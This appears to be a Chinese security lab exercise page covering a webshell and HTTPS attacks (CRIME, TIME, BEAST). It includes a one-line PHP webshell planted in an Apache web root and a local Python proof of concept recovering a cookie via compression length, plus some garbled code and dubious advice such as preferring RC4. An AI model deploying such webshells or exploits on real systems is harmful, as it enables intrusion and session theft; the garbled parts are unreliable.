web攻击

python 复制代码
#!/usr/bin/python3
import string
import zlib
import sys
import random
  
charset = string.letters + string.digits
  
COOKIE = ''.join(random.choice(charset) for x in range(30))
  
HEADERS = ("POST / HTTP/1.1\r\n"
           "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
           "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Cookie: secret="+COOKIE+"\r\n"
           "Accept-Encoding: gzip,deflate,sdch\r\n"
           "Accept-Language: en-US,en;q=0.8\r\n"
           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
           "\r\n")
BODY =    ("POST / HTTP/1.1\r\n"
           "Host: thebankserver.com\r\n"
           "Connection: keep-alive\r\n"
           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
           "Accept: */*\r\n"
           "Referer: https://thebankserver.com/\r\n"
           "Cookie: secret=")
cookie = ""
  
def compress(data):
  
    c = zlib.compressobj()
    return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
def getposset(perchar,chars):
    posset = []
    baselen = len(compress(HEADERS+perchar))
    for i in chars:
        t = len(compress(HEADERS+ perchar+i))
        if (t<=baselen):
            posset += i
    return posset
def doguess():
    global cookie
    while len(cookie)<30:
        posset = getposset(BODY+cookie,charset)
        trun = 1
        tem_posset = posset
        while 1<len(posset):
            tem_body = BODY[trun:]
            posset = getposset(tem_body+cookie,tem_posset)
            trun = trun +1
        if len(posset)==0:
            return False
        cookie += posset[0]
        print (posset[0])
        return True
  
while BODY.find("\r\n")>=0:
    if not doguess():
        print ("(-)Changebody")
        BODY = BODY[BODY.find("\r\n") + 2:]
print ("(+)orign  cookie"+COOKIE)
print ("(+)Gotten cookie"+cookie)
复制代码
文件存在
#!/usr/bin/python3 importstring importzlib importsys importrandom charset=string.letters+string.digits COOKIE=''.join(random.choice(charset)forxinrange(30)) HEADERS=("POST/HTTP/1.1\r\n" "Host:thebankserver.com\r\n" "Connection:keep-alive\r\n" "User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.1(KHTML,likeGecko)Chrome/22.0.1207.1Safari/537.1\r\n" "Accept:*/*\r\n" "Referer:https://thebankserver.com/\r\n" "Cookie:secret="+COOKIE+"\r\n" "Accept-Encoding:gzip,deflate,sdch\r\n" "Accept-Language:en-US,en;q=0.8\r\n" "Accept-Charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n" "\r\n") BODY=("POST/HTTP/1.1\r\n" "Host:thebankserver.com\r\n" "Connection:keep-alive\r\n" "User-Agent:Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.1(KHTML,likeGecko)Chrome/22.0.1207.1Safari/537.1\r\n" "Accept:*/*\r\n" "Referer:https://thebankserver.com/\r\n" "Cookie:secret=") cookie="" defcompress(data): c=zlib.compressobj() returnc.compress(data)+c.flush(zlib.Z_SYNC_FLUSH) defgetposset(perchar,chars): posset=[] baselen=len(compress(HEADERS+perchar)) foriinchars: t=len(compress(HEADERS+perchar+i)) if(t<=baselen): posset+=i returnposset defdoguess(): globalcookie whilelen(cookie)<30: posset=getposset(BODY+cookie,charset) trun=1 tem_posset=posset while1<len(posset): tem_body=BODY[trun:] posset=getposset(tem_body+cookie,tem_posset) trun=trun+1 iflen(posset)==0: returnFalse cookie+=posset[0] print(posset[0]) returnTrue whileBODY.find("\r\n")>=0: ifnotdoguess(): print("(-)Changebody") BODY=BODY[BODY.find("\r\n")+2:] print("(+)origncookie"+COOKIE) print("(+)Gottencookie"+cookie)
操作正确,评测通过!
  1. #!/usr/bin/python3
  2. import string
  3. import zlib
  4. import sys
  5. import random
  6. charset = string.letters + string.digits
  7. COOKIE = ''.join(random.choice(charset) for x in range(30))
  8. HEADERS = ("POST / HTTP/1.1\r\n"
  9. "Host: thebankserver.com\r\n"
  10. "Connection: keep-alive\r\n"
  11. "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
  12. "Accept: */*\r\n"
  13. "Referer: https://thebankserver.com/\r\n"
  14. "Cookie: secret="+COOKIE+"\r\n"
  15. "Accept-Encoding: gzip,deflate,sdch\r\n"
  16. "Accept-Language: en-US,en;q=0.8\r\n"
  17. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
  18. "\r\n")
  19. BODY = ("POST / HTTP/1.1\r\n"
  20. "Host: thebankserver.com\r\n"
  21. "Connection: keep-alive\r\n"
  22. "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
  23. "Accept: */*\r\n"
  24. "Referer: https://thebankserver.com/\r\n"
  25. "Cookie: secret=")
  26. cookie = ""
  27. def compress(data):
  28. c = zlib.compressobj()
  29. return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
  30. def getposset(perchar,chars):
  31. posset = []
  32. baselen = len(compress(HEADERS+perchar))
  33. for i in chars:
  34. t = len(compress(HEADERS+ perchar+i))
  35. if (t<=baselen):
  36. posset += i
  37. return posset
  38. def doguess():
  39. global cookie
  40. while len(cookie)<30:
  41. posset = getposset(BODY+cookie,charset)
  42. trun = 1
  43. tem_posset = posset
  44. while 1<len(posset):
  45. tem_body = BODY[trun:]
  46. posset = getposset(tem_body+cookie,tem_posset)
  47. trun = trun +1
  48. if len(posset)==0:
  49. return False
  50. cookie += posset[0]
  51. print (posset[0])
  52. return True
  53. while BODY.find("\r\n")>=0:
  54. if not doguess():
  55. print ("(-)Changebody")
  56. BODY = BODY[BODY.find("\r\n") + 2:]
  57. print ("(+)orign cookie"+COOKIE)
  58. print ("(+)Gotten cookie"+cookie)
复制代码

任务描述

本关任务:了解Webshell

相关知识

为了完成本关任务,你需要掌握:

1.Webshell

Webshell

本质上是放置在服务器上的脚本文件,由于其调用了操作系统的一些函数,于是拥有了与shell 类似的功能。

实验步骤

完成Webshell实验

实验步骤一,安装http服务器

更新软件源

复制代码
  1. # apt-get update

安装apache http服务

复制代码
  1. # apt-get install apache2

实验步骤二,安装php

复制代码
  1. # apt-get install php
  2. # apt-get install libapache2-mod-php
  3. # vim /etc/php/7.0/apache2/php.ini
  4. allow_url_include = On
  5. # echo "ServerName localhost:80" >> /etc/apache2/apache2.conf

实验步骤三,创建一个简单的webshell界面

复制代码
  1. # cd /root
  2. # touch test.php
  3. # echo '<?php system($_GET['cmd']);?>' >> test.php

实验步骤四,将页面复制到Web服务器当中

复制代码
  1. # cp test.php /var/www/html
  2. # service apache2 restart

实验步骤五,使用浏览器进行浏览 在网址栏输入:

复制代码
  1. http://127.0.0.1/test.php?cmd=ls

任务描述

本关任务:了解HTTPS攻击的方法

相关知识

为了完成本关任务,你需要掌握:

1.HTTPS攻击

HTTPS攻击
常见HTTPS攻击

1)CRIME攻击

​ 攻击原理

​ 攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response长度判断请求是否成功。

​ 攻击前提

​ 攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

​ 浏览器和服务器支持均支持并使用压缩算法。

​ 攻击者可以控制受害者发送大量请求并可以控制请求内容。

​ 防御方法

​ 客户端可以升级浏览器来避免这种攻击。

复制代码
  1. • Chrome: 21.0.1180.89 and above
  2. • Firefox: 15.0.1 and above
  3. • Opera: 12.01 and above
  4. • Safari: 5.1.7 and above

​ 服务器端可以通过禁用一些加密算法来防止此类攻击。

​ Apache

复制代码
  1. • SSLCompression flag = "SSLCompression off"
  2. • GnuTLSPriorities flag = "!COMP-DEFLATE"

​ 禁止过于频繁的请求。

​ 修改压缩算法流程,用户输入的数据不进行压缩。

​ 随机添加长度不定的垃圾数据。

2)TIME攻击

​ 攻击原理

​ 攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response响应时间判断请求是否成功。其实TIME和CRIME一样都利用了压缩算法,只不过CRIME是通过长度信息作为辅助,而TIME是通过时间信息作为辅助。

​ 攻击前提

​ 攻击者可以控制受害者发送大量请求并可以控制请求内容。

​ 稳定的网络环境。

​ 防御方法

​ 在解密Response过程中加入随机的短时间延迟。

​ 阻止短时间内的频繁请求。

3)BEAST

​ 攻击原理

​ 攻击者控制受害者发送大量请求,利用CBC加密模式猜测关键信息。

​ 攻击前提

​ 攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

​ 攻击者需要能得到发送敏感数据端的一部分权限。以便将自己的信息插入SSL/TLS会话中。

​ 攻击者需要准确的找出敏感数据的密文段。

​ 攻击这可以控制受害者发送大量请求并可以控制请求内容。

​ 防御方法

​ 使用RC4加密模式代替BCB加密模式。

​ 部署TLS 1.1或者更高级的版本,来避免SSL 3.0/TLS 1.0带来的安全问题。

​ 在服务端设置每传输固定字节,就改变一次加密秘钥。

实验步骤

完成HTTPS攻击实验

Python利用CRIME思路验证攻击可行性

实验步骤一,进入Python交互模式:

复制代码
  1. # cd /root
  2. # python3
  3. Python 3.6.9 (default, Jul 17 2020, 12:50:27)
  4. [GCC 8.4.0] on linux
  5. Type "help", "copyright", "credits" or "license" for more information.
  6. >>>

实验步骤二,导入模块:

复制代码
  1. >>> import string
  2. >>> import zlib
  3. >>> import sys
  4. >>> import random

实验步骤三,定义字符集:

复制代码
  1. >>> charset = string.ascii_letters + string.digits

实验步骤四,定义COOKIE:

复制代码
  1. >>> COOKIE = ''.join(random.choice(charset) for x in range(30))

实验步骤五,定义头部信息:

复制代码

HEADERS = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\\r\\n"

"Cookie: secret="+COOKIE+"\r\n"

"Accept-Encoding: gzip,deflate,sdch\r\n"

"Accept-Language: en-US,en;q=0.8\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"

"\r\n")

实验步骤六,定义BODY:

复制代码

、

实验步骤七,定义cookie:

BODY = ("POST / HTTP/1.1\r\n"

"Host: thebankserver.com\r\n"

"Connection: keep-alive\r\n"

"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"

"Accept: */*\r\n"

"Referer: https://thebankserver.com/\\r\\n"

"Cookie: secret=")

  1. >>> cookie = ""

实验步骤八,定义猜测方法:

复制代码
  1. >>> def compress(data):
  2. ...
  3. ... c = zlib.compressobj()
  4. ... return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
  5. >>> def getposset(perchar,chars):
  6. ... posset = []
  7. ... baselen = len(compress(HEADERS+perchar))
  8. ... for i in chars:
  9. ... t = len(compress(HEADERS+ perchar+i))
  10. ... if (t<=baselen):
  11. ... posset += i
  12. ... return posset
  13. >>> def doguess():
  14. ... global cookie
  15. ... while len(cookie)<30:
  16. ... posset = getposset(BODY+cookie,charset)
  17. ... trun = 1
  18. ... tem_posset = posset
  19. ... while 1<len(posset):
  20. ... tem_body = BODY[trun:]
  21. ... posset = getposset(tem_body+cookie,tem_posset)
  22. ... trun = trun +1
  23. ... if len(posset)==0:
  24. ... return False
  25. ... cookie += posset[0]
  26. ... print(posset[0])
  27. ... return True

实验步骤九,猜测循环体:

复制代码
  1. >>> while BODY.find("\r\n")>=0:
  2. ... if not doguess():
  3. ... print ("(-)Changebody")
  4. ... BODY = BODY[BODY.find("\r\n") + 2:]

实验步骤十,编写输入代码:

复制代码
  1. >>> print("(+)orign cookie"+COOKIE)
  2. >>> print("(+)Gotten cookie"+cookie)

实验步骤十一,将上述步骤编写为执行文件:

输入命令:

# vi /root/CRIME.py

输入内容:

复制代码
  1. #!/usr/bin/python3
  2. import string
  3. import zlib
  4. import sys
  5. import random
  6. charset = string.letters + string.digits
  7. COOKIE = ''.join(random.choice(charset) for x in range(30))
  8. HEADERS = ("POST / HTTP/1.1\r\n"
  9. "Host: thebankserver.com\r\n"
  10. "Connection: keep-alive\r\n"
  11. "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
  12. "Accept: */*\r\n"
  13. "Referer: https://thebankserver.com/\r\n"
  14. "Cookie: secret="+COOKIE+"\r\n"
  15. "Accept-Encoding: gzip,deflate,sdch\r\n"
  16. "Accept-Language: en-US,en;q=0.8\r\n"
  17. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
  18. "\r\n")
  19. BODY = ("POST / HTTP/1.1\r\n"
  20. "Host: thebankserver.com\r\n"
  21. "Connection: keep-alive\r\n"
  22. "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
  23. "Accept: */*\r\n"
  24. "Referer: https://thebankserver.com/\r\n"
  25. "Cookie: secret=")
  26. cookie = ""
  27. def compress(data):
  28. c = zlib.compressobj()
  29. return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
  30. def getposset(perchar,chars):
  31. posset = []
  32. baselen = len(compress(HEADERS+perchar))
  33. for i in chars:
  34. t = len(compress(HEADERS+ perchar+i))
  35. if (t<=baselen):
  36. posset += i
  37. return posset
  38. def doguess():
  39. global cookie
  40. while len(cookie)<30:
  41. posset = getposset(BODY+cookie,charset)
  42. trun = 1
  43. tem_posset = posset
  44. while 1<len(posset):
  45. tem_body = BODY[trun:]
  46. posset = getposset(tem_body+cookie,tem_posset)
  47. trun = trun +1
  48. if len(posset)==0:
  49. return False
  50. cookie += posset[0]
  51. print (posset[0])
  52. return True
  53. while BODY.find("\r\n")>=0:
  54. if not doguess():
  55. print ("(-)Changebody")
  56. BODY = BODY[BODY.find("\r\n") + 2:]
  57. print ("(+)orign cookie"+COOKIE)
  58. print ("(+)Gotten cookie"+cookie)
复制代码
  1. # python CRIME.py
  2. B
  3. r
  4. Z
  5. c
  6. M
  7. 2
  8. l
  9. 4
  10. s
  11. 7
  12. (-)Changebody
  13. w
  14. F
  15. 9
  16. K
  17. 6
  18. 8
  19. E
  20. w
  21. E
  22. P
  23. t
  24. W
  25. a
  26. U
  27. (-)Changebody
  28. i
  29. E
  30. N
  31. 9
  32. r
  33. 1
  34. (-)Changebody
  35. (-)Changebody
  36. (-)Changebody
  37. (-)Changebody
  38. (+)orign cookieBrZcM2l4s7wF9K68EwEPtWaUiEN9r1
  39. (+)Gotten cookieBrZcM2l4s7wF9K68EwEPtWaUiEN9r1

将结果保存到文件中:

复制代码
  1. # python CRIME.py > /root/HTTPS.txt

任务:

完成实验。


开始你的任务吧,祝你成功!

相关推荐
三少爷的鞋37 分钟前
AI 时代,我们都将成为通才型开发者:只懂 Android,已经不够了
android
Dovis(誓平步青云)4 小时前
家里设备越来越多,如何用一张空间地图控制灯光和温度![
android·java·前端·javascript·人工智能·电脑
晚风叙码6 小时前
MySQL 数据类型详解:从数值到字符串,一篇讲透
android·mysql·adb
传奇开心果编程7 小时前
【Compose Multiplatform 跨端开发学与练】第3课 布局与组件
android·windows·学习·ui·ios·kotlin·composer
传奇开心果编程9 小时前
【Compose Multiplatform 跨端开发学与练】第8课 资源管理与主题
android·windows·学习·ios·kotlin·web·composer
传奇开心果编程11 小时前
【Compose Multiplatform 跨端开发学与练】第9课 测试与调试
android·学习·macos·ios·kotlin·web·composer
传奇开心果编程11 小时前
【Compose Multiplatform 跨端开发学与练】第4课 导航与路由
android·windows·学习·ui·ios·kotlin·composer
传奇开心果编程11 小时前
【Compose Multiplatform 跨端开发学与练】第6课 状态管理与架构
android·学习·ui·ios·架构·kotlin·composer
事圆则缓11 小时前
Android AOSP 定制常见概念:源码目录、系统镜像与刷机流程
android
传奇开心果编程11 小时前
【Compose Multiplatform 跨端开发学与练】第2课 Compose 基础语法
android·windows·学习·ui·ios·kotlin·composer